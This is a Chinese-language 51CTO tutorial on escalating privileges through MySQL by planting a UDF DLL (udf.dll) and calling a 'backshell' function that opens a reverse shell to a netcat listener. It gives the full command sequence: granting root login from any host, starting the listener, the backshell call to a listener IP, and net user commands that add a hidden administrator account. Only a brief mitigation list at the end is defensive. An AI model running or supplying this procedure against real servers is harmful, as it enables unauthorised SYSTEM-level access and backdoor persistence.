MySQL數(shù)據(jù)庫反彈端口連接提權(quán)
原創(chuàng)【51CTO.com原創(chuàng)稿件】在滲透或者安全評估時,有可能遇到一些比較奇葩的環(huán)境,即使通過Mysql root賬號和密碼獲取了webshell,由于無法執(zhí)行命令。在一般的情況下,也就放棄了。但其實(shí)可以換一種思路,通過mysql查詢來直接提權(quán),可以針對以下場景:
(1)通過網(wǎng)站無法獲取webshell
(2)Webshell無法執(zhí)行命令
(3)有phpmyadmin和root賬號,無法查詢或者無法獲取網(wǎng)站的真實(shí)路徑
注:本文是筆者撰寫的Mysql安全系列文章的第二篇。***篇為《關(guān)系型數(shù)據(jù)庫管理系統(tǒng)MySQL提權(quán)基礎(chǔ)》。
一、反彈端口連接提權(quán)的條件
1.訪問Mysql數(shù)據(jù)庫
獲取了數(shù)據(jù)庫root賬號和密碼或者相當(dāng)于root權(quán)限的賬號和密碼,同時能夠執(zhí)行查詢命令。換句話說可以通過phpmyadmin連接、通過網(wǎng)站后臺的執(zhí)行數(shù)據(jù)庫命令或者“Navicat for MySQL”等客戶端軟件連接。
2.可導(dǎo)出文件udf.dll到系統(tǒng)目錄或者M(jìn)ysql數(shù)據(jù)庫安裝目錄下的lib下的plugin目錄。如果有上傳條件,可以直接上傳udf.dll到對應(yīng)目錄。Mysql5.1以下版本到c:\winnt\system32或者c:\windows\system32目錄,Mysql5.1以上版本到Mysql安裝目錄下的plugin 目錄,例如D:\ComsenzEXP\MySQL\lib\plugin。
3.授權(quán)mysql數(shù)據(jù)庫遠(yuǎn)程用戶登錄
可以修改host為%,更新權(quán)限,然后通過Navicat for MySQL連接數(shù)據(jù)庫,直接打開命令提示窗口進(jìn)行導(dǎo)出。
允許遠(yuǎn)程用戶登錄訪問mysql的方法,需要手動增加可以遠(yuǎn)程訪問數(shù)據(jù)庫的用戶。
方法一:本地登入mysql,更改 "mysql" 數(shù)據(jù)庫里的 "user" 表里的 "host" 項(xiàng),將"localhost"改為"%"
- use mysql;
- update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
方法二:直接授權(quán)
從任何主機(jī)上使用root用戶,密碼:youpassword(你的root密碼)連接到mysql服務(wù)器:
- GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
- FLUSH PRIVILEGES;
二、具體實(shí)現(xiàn)方法
1.連接mysql服務(wù)器
(1)通過mysql客戶端工具可以直接連接
(2)通過phpmyadmin進(jìn)行連接
(3)通過mysql.exe直接連接
2.執(zhí)行查詢命令
(1)網(wǎng)上提供的“\. c:\mysql.txt”命令會出錯,***通過phpmyadmin或者Navicat for MySQL等工具來進(jìn)行查詢。修改mysql.txt中的***一行代碼“select backshell("YourIP",4444);”為自己反彈的IP和反彈監(jiān)聽的端口。
(2)本地開啟監(jiān)聽反彈的端口
nc.exe -vv -l -p 4444
(3)執(zhí)行mysql查詢,將mysql.txt文件內(nèi)容復(fù)制到查詢中執(zhí)行。
成功后,你將獲得一個system權(quán)限的cmdshell。
3.添加用戶或者獲取管理員密碼
通過反彈shell添加用戶antian365,密碼www.antian365.com
- net user antian365 www.antian365.com /add
- net localgroup administrators antian365
三、一個提權(quán)實(shí)例
1.在反彈監(jiān)聽服務(wù)器上進(jìn)行端口監(jiān)聽
通過cmd命令提示符,執(zhí)行nc監(jiān)聽命令:nc –vv –l –p 4444,表示在本地監(jiān)聽4444端口。如果是在公網(wǎng)上,這反彈監(jiān)聽服務(wù)器必須有獨(dú)立IP,如果是內(nèi)部網(wǎng)絡(luò),則可以直接使用內(nèi)網(wǎng)IP,如圖1所示。
圖1進(jìn)行監(jiān)聽
2.修改mysql.txt文件中反彈地址
在mysql.txt文件中將***一行代碼修改為前面設(shè)置的監(jiān)聽IP地址和端口,如圖2所示,例如代碼:
select backshell("192.168.40.135",4444);//反彈監(jiān)聽服務(wù)器IP192.168.40.135,端口4444
圖2修改查詢代碼中反彈shell地址和端口
這個也可以再次單獨(dú)查詢:select backshell("192.168.40.135",4444);
3.執(zhí)行查詢
可以通過mysql命令行下執(zhí)行,也可以通過phpmyadmin查詢窗口以及一些mysql客戶端查詢進(jìn)行,如圖3所示執(zhí)行查詢。
圖3執(zhí)行mysql查詢
說明:
(1)如果已經(jīng)存在ghost表和backshell函數(shù),可以執(zhí)行以下命令進(jìn)行刪除:
- drop table ghost;
- drop FUNCTION backshell;
(2)如果已經(jīng)存在udf.dll,則可以跳過導(dǎo)出命令,執(zhí)行:
- CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
3.查看反彈結(jié)果
如圖4所示,顯示通過連接mysql執(zhí)行查詢獲取的終端反彈shell,在該shell下可以直接執(zhí)行net user、whoami等命令查看當(dāng)前權(quán)限。
圖4查看反彈結(jié)果
四、防范方法
1.查看mysql數(shù)據(jù)庫中user表授權(quán)的登錄host,禁止具備Root賬號權(quán)限的用戶通過“%”進(jìn)行登錄。
2.禁止在網(wǎng)站CMS系統(tǒng)使用root賬號進(jìn)行配置。
3.設(shè)置root賬號的密碼為強(qiáng)密碼。
4.對Mysql執(zhí)行程序進(jìn)行降權(quán),禁止網(wǎng)站用戶讀取user.frm、user.myd、user.myi。例如D:\ComsenzEXP\MySQL\data\mysql下的user表文件user.frm、user.myd、user.myi要禁止網(wǎng)站用戶讀取和下載。
5.檢查mysql數(shù)據(jù)庫下的mysql表中是否存在其它無關(guān)表,檢查func表中的內(nèi)容。
6.可以在相應(yīng)的目錄下建立一個udf.dll空文件,并嚴(yán)格設(shè)置權(quán)限,任何人無讀取和寫入權(quán)限。
注:本文是筆者撰寫的Mysql安全系列文章的第二篇,我們將會持續(xù)推出后續(xù)文章,敬請期待。
【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請注明原文作者和出處為51CTO.com】